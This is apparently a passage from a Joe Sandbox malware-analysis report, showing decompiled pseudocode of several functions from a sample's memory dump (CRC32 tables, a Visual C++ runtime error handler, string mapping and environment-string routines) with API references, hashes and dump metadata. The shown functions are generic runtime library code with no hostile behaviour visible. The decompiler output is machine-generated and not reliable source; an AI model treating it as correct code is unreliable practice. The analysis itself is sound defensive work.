^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) & 0x00000001) - 1) & 0xedb88320 ^ ( !((_t72 & 0x00000001) - 1) & 0xedb88320 ^ _t72 >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001) >> 0x00000001;
					_t72 = _t72 + 1;
				} while (_t72 < 0x100);
				while(_t72 < 0x800) {
					_t38 =  *(0x4232c0 + _t72 * 4);
					_t72 = _t72 + 1;
					 *(0x4236bc + _t72 * 4) = _t38 >> 0x00000008 ^  *(0x4236c0 + (_t38 & 0x000000ff) * 4);
				}
				 *0x42333c = 0x418fd0;
				_t37 = E00411420();
				if(_t37 == 0) {
					 *0x42333c = 0x418ef0;
					return _t37;
				}
				return _t37;
			}

0x004133d0
0x004133d2
0x00413460
0x00413467
0x00413468
0x0041347a
0x00413480
0x00413499
0x0041349a
0x004134a1
0x004134a9
0x004134b3
0x004134ba
0x004134bc
0x00000000
0x004134bc
0x004134c6

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 951ce894d9222124d4953917d4d44c2f3af61f07f2abcd4f63f3fcd2ee4f65ae
Instruction ID: b54c2cd6cfa36051406bb29028bc26d5c271240bfac9ba2f52dccebc7510b76a
Opcode Fuzzy Hash: 951ce894d9222124d4953917d4d44c2f3af61f07f2abcd4f63f3fcd2ee4f65ae
Instruction Fuzzy Hash: 52214F3E370D0607A71C8B69AD336B921D2E38430A7C8A03DE68BC53D1EE6CD595860D

Uniqueness

Uniqueness Score: -1.00%

Function 00418EF1 Relevance: .1, Instructions: 70
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00418EF1(signed char __ecx, signed int __edx, intOrPtr _a8, intOrPtr _a12) {
				signed char _t42;
				signed int _t44;
				signed int _t50;
				signed int _t51;
				unsigned int _t59;
				signed char _t60;
				signed int _t62;
				void* _t63;
				intOrPtr _t65;
				intOrPtr _t67;
				signed int _t69;
				signed int _t73;
				signed int _t83;
				intOrPtr _t86;

				_t62 = __edx;
				_t42 = __ecx;
				_t65 = _a8;
				_t86 = _a12;
				if(_t65 != 0) {
					while((_t62 & 0x00000007) != 0) {
						_t83 =  *_t62 & 0x000000ff;
						_t62 = _t62 + 1;
						_t42 = _t42 >> 0x00000008 ^  *(_t86 + (_t83 ^ _t42 & 0x000000ff) * 4);
						_t65 = _t65 - 1;
						if(_t65 != 0) {
							continue;
						}
						break;
					}
					if(_t65 >= 0x10) {
						_t67 = _t65 + _t62;
						_a8 = _t67;
						_t69 = _t67 - 0x00000008 & 0xfffffff8;
						_t63 = _t62 - _t69;
						_t44 = _t42 ^  *(_t63 + _t69);
						_t59 =  *(_t63 + _t69 + 4);
						do {
							_t50 = _t59 & 0x000000ff;
							_t51 = _t59 & 0x000000ff;
							_t60 = _t59 >> 0x10;
							_t59 =  *(_t63 + _t69 + 0xc);
							_t44 =  *(_t86 + 0x1000 + (_t44 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t63 + _t69 + 8) ^  *(_t86 + 0xc00 + _t50 * 4) ^  *(_t86 + 0x800 + _t51 * 4) ^  *(_t86 + 0x400 + (_t60 & 0x000000ff) * 4) ^  *(_t86 + (_t60 & 0x000000ff) * 4) ^  *(_t86 + 0x1c00 + (_t44 & 0x000000ff) * 4) ^  *(_t86 + 0x1800 + (_t44 & 0x000000ff) * 4) ^  *(_t86 + 0x1400 + (_t44 >> 0x00000010 & 0x000000ff) * 4);
							_t63 = _t63 + 8;
						} while (_t63 != 0);
						_t42 = _t44 ^  *(_t63 + _t69);
						_t62 = _t69;
						_t65 = _a8 - _t62;
						L7:
						while(_t65 != 0) {
							_t73 =  *_t62 & 0x000000ff;
							_t62 = _t62 + 1;
							_t42 = _t42 >> 0x00000008 ^  *(_t86 + (_t73 ^ _t42 & 0x000000ff) * 4);
							_t65 = _t65 - 1;
						}
						return _t42;
					}
				}
				goto L7;
			}

0x00418ef1
0x00418ef4
0x00418ef6
0x00418efa
0x00418f00
0x00418f06
0x00418f0e
0x00418f11
0x00418f1a
0x00418f1e
0x00418f1f
0x00000000
0x00000000
0x00000000
0x00418f1f
0x00418f24
0x00418f2a
0x00418f2c
0x00418f33
0x00418f36
0x00418f38
0x00418f3b
0x00418f40
0x00418f44
0x00418f4e
0x00418f58
0x00418f6f
0x00418f9b
0x00418f9d
0x00418f9d
0x00418fa2
0x00418fa5
0x00418fab
0x00000000
0x00418fad
0x00418fb1
0x00418fb4
0x00418fbd
0x00418fc1
0x00418fc1
0x00418fc8
0x00418fc8
0x00418f24
0x00000000

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
Instruction ID: d8f843b74cbd450328ce6fa4395b1e87caa1541ea2f4e00bece6a97874f35350
Opcode Fuzzy Hash: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
Instruction Fuzzy Hash: 9F21D7329046254BCB42DE6EE4845A7F392FBC437AF23472BED8467290C638E855D6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00418FCB Relevance: .1, Instructions: 70
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00418FCB(signed char __ecx, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				signed char _t39;
				signed int _t41;
				signed int _t63;
				void* _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				signed int _t68;
				signed int _t70;
				signed int _t74;
				intOrPtr _t76;

				_t63 = __edx;
				_t39 = __ecx;
				_t65 = _a4;
				_t76 = _a8;
				if(_t65 != 0) {
					while((_t63 & 0x00000007) != 0) {
						_t74 =  *_t63 & 0x000000ff;
						_t63 = _t63 + 1;
						_t39 = _t39 >> 0x00000008 ^  *(_t76 + (_t74 ^ _t39 & 0x000000ff) * 4);
						_t65 = _t65 - 1;
						if(_t65 != 0) {
							continue;
						}
						break;
					}
					if(_t65 >= 0x10) {
						_t66 = _t65 + _t63;
						_a4 = _t66;
						_t68 = _t66 - 0x00000008 & 0xfffffff8;
						_t64 = _t63 - _t68;
						_t41 = _t39 ^  *(_t64 + _t68);
						do {
							_t41 =  *(_t76 + 0xc00 + (( *(_t76 + 0xc00 + (_t41 & 0x000000ff) * 4) ^  *(_t64 + _t68 + 4) ^  *(_t76 + 0x800 + (_t41 & 0x000000ff) * 4) ^  *(_t76 + (_t41 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (_t41 >> 0x00000010 & 0x000000ff) * 4)) & 0x000000ff) * 4) ^  *(_t64 + _t68 + 8) ^  *(_t76 + 0x800 + (( *(_t76 + 0xc00 + (_t41 & 0x000000ff) * 4) ^  *(_t64 + _t68 + 4) ^  *(_t76 + 0x800 + (_t41 & 0x000000ff) * 4) ^  *(_t76 + (_t41 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (_t41 >> 0x00000010 & 0x000000ff) * 4)) & 0x000000ff) * 4) ^  *(_t76 + (( *(_t76 + 0xc00 + (_t41 & 0x000000ff) * 4) ^  *(_t64 + _t68 + 4) ^  *(_t76 + 0x800 + (_t41 & 0x000000ff) * 4) ^  *(_t76 + (_t41 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (_t41 >> 0x00000010 & 0x000000ff) * 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (( *(_t76 + 0xc00 + (_t41 & 0x000000ff) * 4) ^  *(_t64 + _t68 + 4) ^  *(_t76 + 0x800 + (_t41 & 0x000000ff) * 4) ^  *(_t76 + (_t41 >> 0x00000010 & 0x000000ff) * 4) ^  *(_t76 + 0x400 + (_t41 >> 0x00000010 & 0x000000ff) * 4)) >> 0x00000010 & 0x000000ff) * 4);
							_t64 = _t64 + 8;
						} while (_t64 != 0);
						_t39 = _t41 ^  *(_t64 + _t68);
						_t63 = _t68;
						_t65 = _a4 - _t63;
						L8:
						while(_t65 != 0) {
							_t70 =  *_t63 & 0x000000ff;
							_t63 = _t63 + 1;
							_t39 = _t39 >> 0x00000008 ^  *(_t76 + (_t70 ^ _t39 & 0x000000ff) * 4);
							_t65 = _t65 - 1;
						}
						return _t39;
					}
				}
				goto L8;
			}

0x00418fcb
0x00418fd4
0x00418fd6
0x00418fda
0x00418fe0
0x00418fe6
0x00418fee
0x00418ff1
0x00418ffa
0x00418ffe
0x00418fff
0x00000000
0x00000000
0x00000000
0x00418fff
0x00419004
0x0041900a
0x0041900c
0x00419013
0x00419016
0x00419018
0x00419020
0x00419076
0x0041907d
0x0041907d
0x00419082
0x00419085
0x0041908b
0x00000000
0x0041908d
0x00419091
0x00419094
0x0041909d
0x004190a1
0x004190a1
0x004190a8
0x004190a8
0x00419004
0x00000000

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction ID: adcd1020660a0caec7aa531f2501062eb824b7187074cdff0887c6cd02d8138b
Opcode Fuzzy Hash: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction Fuzzy Hash: EF21377291442587C701DF1DE4986B7B7E1FFC8319F678B2BD9818B180CA39DC81D690

Uniqueness

Uniqueness Score: -1.00%

Function 00417836 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 100
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E00417836(void* __edi, long _a4) {
				char _v164;
				char _v424;
				int _t17;
				long _t19;
				signed int _t42;
				long _t47;
				void* _t48;
				signed int _t54;
				void** _t56;
				void* _t57;

				_t48 = __edi;
				_t47 = _a4;
				_t42 = 0;
				_t17 = 0x422a58;
				while(_t47 !=  *_t17) {
					_t17 = _t17 + 8;
					_t42 = _t42 + 1;
					if(_t17 < 0x422ae8) {
						continue;
					}
					break;
				}
				_t54 = _t42 << 3;
				_t2 = _t54 + 0x422a58; // 0x2c000000
				if(_t47 ==  *_t2) {
					_t17 =  *0x423348; // 0x0
					if(_t17 == 1 || _t17 == 0 &&  *0x420734 == 1) {
						_t16 = _t54 + 0x422a5c; // 0x41bd2c
						_t56 = _t16;
						_t19 = E004144D0( *_t56);
						_t17 = WriteFile(GetStdHandle(0xfffffff4),  *_t56, _t19,  &_a4, 0);
					} else {
						if(_t47 != 0xfc) {
							if(GetModuleFileNameA(0,  &_v424, 0x104) == 0) {
								E00418230( &_v424, "<program name unknown>");
							}
							_push(_t48);
							_t49 =  &_v424;
							if(E004144D0( &_v424) + 1 > 0x3c) {
								_t49 = E004144D0( &_v424) +  &_v424 - 0x3b;
								E004183B0(E004144D0( &_v424) +  &_v424 - 0x3b, "...", 3);
								_t57 = _t57 + 0x10;
							}
							E00418230( &_v164, "Runtime Error!\n\nProgram: ");
							E00418240( &_v164, _t49);
							E00418240( &_v164, "\n\n");
							_t12 = _t54 + 0x422a5c; // 0x41bd2c
							E00418240( &_v164,  *_t12);
							_t17 = E00418320( &_v164, "Microsoft Visual C++ Runtime Library", 0x12010);
						}
					}
				}
				return _t17;
			}

0x00417836
0x0041783f
0x00417842
0x00417844
0x00417849
0x0041784d
0x00417850
0x00417856
0x00000000
0x00000000
0x00000000
0x00417856
0x0041785b
0x0041785e
0x00417864
0x0041786a
0x00417872
0x00417963
0x00417963
0x0041796e
0x00417980
0x00417889
0x0041788f
0x004178ab
0x004178b9
0x004178bf
0x004178c6
0x004178c8
0x004178d8
0x004178f3
0x004178fb
0x00417900
0x00417900
0x0041790f
0x0041791c
0x0041792d
0x00417932
0x0041793f
0x00417955
0x0041795d
0x0041788f
0x00417872
0x00417988

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 004178A3
GetStdHandle.KERNEL32(000000F4,0041BD2C,00000000,00000000,00000000,?), ref: 00417979
WriteFile.KERNEL32(00000000), ref: 00417980

Strings

..., xrefs: 004178F5
Runtime Error!Program: , xrefs: 00417909
Microsoft Visual C++ Runtime Library, xrefs: 0041794F
<program name unknown>, xrefs: 004178B3
*B, xrefs: 00417851
X*B, xrefs: 00417844

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $X*B$*B
API String ID: 3784150691-2787626558
Opcode ID: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
Instruction ID: 83e6cc08efc147308ddc610541e3e7ace00831554afff49654370310fabd765f
Opcode Fuzzy Hash: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
Instruction Fuzzy Hash: 6E310472A00218AFEF20E660DD45FDA737DEB45344F5000ABF544D6140EBBCAAC58BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0041881D Relevance: 13.7, APIs: 9, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0041881D(int _a4, int _a8, signed char _a9, char* _a12, int _a16, short* _a20, int _a24, int _a28, signed int _a32) {
				signed int _v8;
				intOrPtr _v20;
				short* _v28;
				int _v32;
				short* _v36;
				short* _v40;
				int _v44;
				void* _v60;
				int _t61;
				int _t62;
				int _t82;
				int _t83;
				int _t88;
				short* _t89;
				int _t90;
				void* _t91;
				int _t99;
				intOrPtr _t101;
				short* _t102;
				int _t104;

				_push(0xffffffff);
				_push(0x41be00);
				_push(E00414A2C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t101;
				_t102 = _t101 - 0x1c;
				_v28 = _t102;
				_t104 =  *0x423554; // 0x1
				if(_t104 != 0) {
					L5:
					if(_a16 > 0) {
						_t83 = E00418A41(_a12, _a16);
						_pop(_t91);
						_a16 = _t83;
					}
					_t61 =  *0x423554; // 0x1
					if(_t61 != 2) {
						if(_t61 != 1) {
							goto L21;
						} else {
							if(_a28 == 0) {
								_t82 =  *0x42354c; // 0x0
								_a28 = _t82;
							}
							asm("sbb eax, eax");
							_t88 = MultiByteToWideChar(_a28, ( ~_a32 & 0x00000008) + 1, _a12, _a16, 0, 0);
							_v32 = _t88;
							if(_t88 == 0) {
								goto L21;
							} else {
								_v8 = 0;
								E00413CC0(_t88 + _t88 + 0x00000003 & 0x000000fc, _t91);
								_v28 = _t102;
								_v40 = _t102;
								_v8 = _v8 | 0xffffffff;
								if(_v40 == 0 || MultiByteToWideChar(_a28, 1, _a12, _a16, _v40, _t88) == 0) {
									goto L21;
								} else {
									_t99 = LCMapStringW(_a4, _a8, _v40, _t88, 0, 0);
									_v44 = _t99;
									if(_t99 == 0) {
										goto L21;
									} else {
										if((_a9 & 0x00000004) == 0) {
											_v8 = 1;
											E00413CC0(_t99 + _t99 + 0x00000003 & 0x000000fc, _t91);
											_v28 = _t102;
											_t89 = _t102;
											_v36 = _t89;
											_v8 = _v8 | 0xffffffff;
											if(_t89 == 0 || LCMapStringW(_a4, _a8, _v40, _v32, _t89, _t99) == 0) {
												goto L21;
											} else {
												_push(0);
												_push(0);
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_t99 = WideCharToMultiByte(_a28, 0x220, _t89, _t99, ??, ??, ??, ??);
												if(_t99 == 0) {
													goto L21;
												} else {
													goto L30;
												}
											}
										} else {
											if(_a24 == 0 || _t99 <= _a24 && LCMapStringW(_a4, _a8, _v40, _t88, _a20, _a24) != 0) {
												L30:
												_t62 = _t99;
											} else {
												goto L21;
											}
										}
									}
								}
							}
						}
					} else {
						_t62 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
					}
				} else {
					_push(0);
					_push(0);
					_t90 = 1;
					if(LCMapStringW(0, 0x100, 0x41bdf8, _t90, ??, ??) == 0) {
						if(LCMapStringA(0, 0x100, 0x41bdf4, _t90, 0, 0) == 0) {
							L21:
							_t62 = 0;
						} else {
							 *0x423554 = 2;
							goto L5;
						}
					} else {
						 *0x423554 = _t90;
						goto L5;
					}
				}
				 *[fs:0x0] = _v20;
				return _t62;
			}

0x00418820
0x00418822
0x00418827
0x00418832
0x00418833
0x0041883a
0x00418840
0x00418845
0x0041884b
0x00418893
0x00418896
0x0041889e
0x004188a4
0x004188a5
0x004188a5
0x004188a8
0x004188b0
0x004188d2
0x00000000
0x004188d8
0x004188db
0x004188dd
0x004188e2
0x004188e2
0x004188f2
0x00418902
0x00418904
0x00418909
0x00000000
0x0041890f
0x0041890f
0x0041891a
0x0041891f
0x00418924
0x00418927
0x00418943
0x00000000
0x0041895e
0x00418970
0x00418972
0x00418977
0x00000000
0x00418979
0x0041897d
0x004189bf
0x004189ce
0x004189d3
0x004189d6
0x004189d8
0x004189db
0x004189f5
0x00000000
0x00418a0f
0x00418a12
0x00418a13
0x00418a14
0x00418a1a
0x00418a1d
0x00418a16
0x00418a16
0x00418a17
0x00418a17
0x00418a30
0x00418a34
0x00000000
0x00000000
0x00000000
0x00000000
0x00418a34
0x0041897f
0x00418982
0x00418a3a
0x00418a3a
0x00000000
0x00000000
0x00000000
0x00418982
0x0041897d
0x00418977
0x00418943
0x00418909
0x004188b2
0x004188c4
0x004188c4
0x0041884d
0x0041884d
0x0041884e
0x00418851
0x00418867
0x00418883
0x004189ab
0x004189ab
0x00418889
0x00418889
0x00000000
0x00418889
0x00418869
0x00418869
0x00000000
0x00418869
0x00418867
0x004189b3
0x004189be

APIs

LCMapStringW.KERNEL32(00000000,00000100,0041BDF8,00000001,00000000,00000000,747170F0,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 0041885F
LCMapStringA.KERNEL32(00000000,00000100,0041BDF4,00000001,00000000,00000000,?,?,004186BE,?,?,?,00000000,00000001), ref: 0041887B
LCMapStringA.KERNEL32(?,?,?,004186BE,?,?,747170F0,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188C4
MultiByteToWideChar.KERNEL32(?,004256C5,?,004186BE,00000000,00000000,747170F0,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188FC
MultiByteToWideChar.KERNEL32(00000000,00000001,?,004186BE,?,00000000,?,?,004186BE,?), ref: 00418954
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,004186BE,?), ref: 0041896A
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,004186BE,?), ref: 0041899D
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,004186BE,?), ref: 00418A05

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
Instruction ID: 3960beb12fca16cbc5043acf4b8975ab8d8a6698fa07e30ad5f7fd63c5f4fb56
Opcode Fuzzy Hash: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
Instruction Fuzzy Hash: 14517B71900209EFCF228F95CC45AEF7FB5FF48794F10452AF918A1260C7398991DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0041750F Relevance: 12.1, APIs: 8, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041750F() {
				int _v4;
				int _v8;
				intOrPtr _t7;
				CHAR* _t9;
				WCHAR* _t17;
				int _t20;
				char* _t24;
				int _t32;
				CHAR* _t36;
				WCHAR* _t38;
				void* _t39;
				int _t42;

				_t7 =  *0x423508; // 0x1
				_t32 = 0;
				_t38 = 0;
				_t36 = 0;
				if(_t7 != 0) {
					if(_t7 != 1) {
						if(_t7 != 2) {
							L27:
							return 0;
						}
						L18:
						if(_t36 != _t32) {
							L20:
							_t9 = _t36;
							if( *_t36 == _t32) {
								L23:
								_t41 = _t9 - _t36 + 1;
								_t39 = E00413E65(_t9 - _t36 + 1);
								if(_t39 != _t32) {
									E00414090(_t39, _t36, _t41);
								} else {
									_t39 = 0;
								}
								FreeEnvironmentStringsA(_t36);
								return _t39;
							} else {
								goto L21;
							}
							do {
								do {
									L21:
									_t9 =  &(_t9[1]);
								} while ( *_t9 != _t32);
								_t9 =  &(_t9[1]);
							} while ( *_t9 != _t32);
							goto L23;
						}
						_t36 = GetEnvironmentStrings();
						if(_t36 == _t32) {
							goto L27;
						}
						goto L20;
					}
					L6:
					if(_t38 != _t32) {
						L8:
						_t17 = _t38;
						if( *_t38 == _t32) {
							L11:
							_t20 = (_t17 - _t38 >> 1) + 1;
							_v4 = _t20;
							_t42 = WideCharToMultiByte(_t32, _t32, _t38, _t20, _t32, _t32, _t32, _t32);
							if(_t42 != _t32) {
								_t24 = E00413E65(_t42);
								_v8 = _t24;
								if(_t24 != _t32) {
									if(WideCharToMultiByte(_t32, _t32, _t38, _v4, _t24, _t42, _t32, _t32) == 0) {
										E00413F9F(_v8);
										_v8 = _t32;
									}
									_t32 = _v8;
								}
							}
							FreeEnvironmentStringsW(_t38);
							return _t32;
						} else {
							goto L9;
						}
						do {
							do {
								L9:
								_t17 =  &(_t17[1]);
							} while ( *_t17 != _t32);
							_t17 =  &(_t17[1]);
						} while ( *_t17 != _t32);
						goto L11;
					}
					_t38 = GetEnvironmentStringsW();
					if(_t38 == _t32) {
						goto L27;
					}
					goto L8;
				}
				_t38 = GetEnvironmentStringsW();
				if(_t38 == 0) {
					_t36 = GetEnvironmentStrings();
					if(_t36 == 0) {
						goto L27;
					}
					 *0x423508 = 2;
					goto L18;
				}
				 *0x423508 = 1;
				goto L6;
			}

0x00417511
0x00417520
0x00417522
0x00417524
0x00417528
0x00417560
0x004175ea
0x00417638
0x00000000
0x00417638
0x004175ec
0x004175ee
0x004175fc
0x004175fe
0x00417600
0x0041760c
0x0041760f
0x00417617
0x0041761c
0x00417625
0x0041761e
0x0041761e
0x0041761e
0x0041762e
0x00000000
0x00000000
0x00000000
0x00000000
0x00417602
0x00417602
0x00417602
0x00417602
0x00417603
0x00417607
0x00417608
0x00000000
0x00417602
0x004175f6
0x004175fa
0x00000000
0x00000000
0x00000000
0x004175fa
0x00417566
0x00417568
0x00417576
0x00417579
0x0041757b
0x0041758b
0x00417597
0x0041759e
0x004175a4
0x004175a8
0x004175ab
0x004175b3
0x004175b7
0x004175c8
0x004175ce
0x004175d4
0x004175d4
0x004175d8
0x004175d8
0x004175b7
0x004175dd
0x00000000
0x00000000
0x00000000
0x00000000
0x0041757d
0x0041757d
0x0041757d
0x0041757e
0x0041757f
0x00417585
0x00417586
0x00000000
0x0041757d
0x0041756c
0x00417570
0x00000000
0x00000000
0x00000000
0x00417570
0x0041752c
0x00417530
0x00417544
0x00417548
0x00000000
0x00000000
0x0041754e
0x00000000
0x0041754e
0x00417532
0x00000000

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041752A
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041753E
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041756A
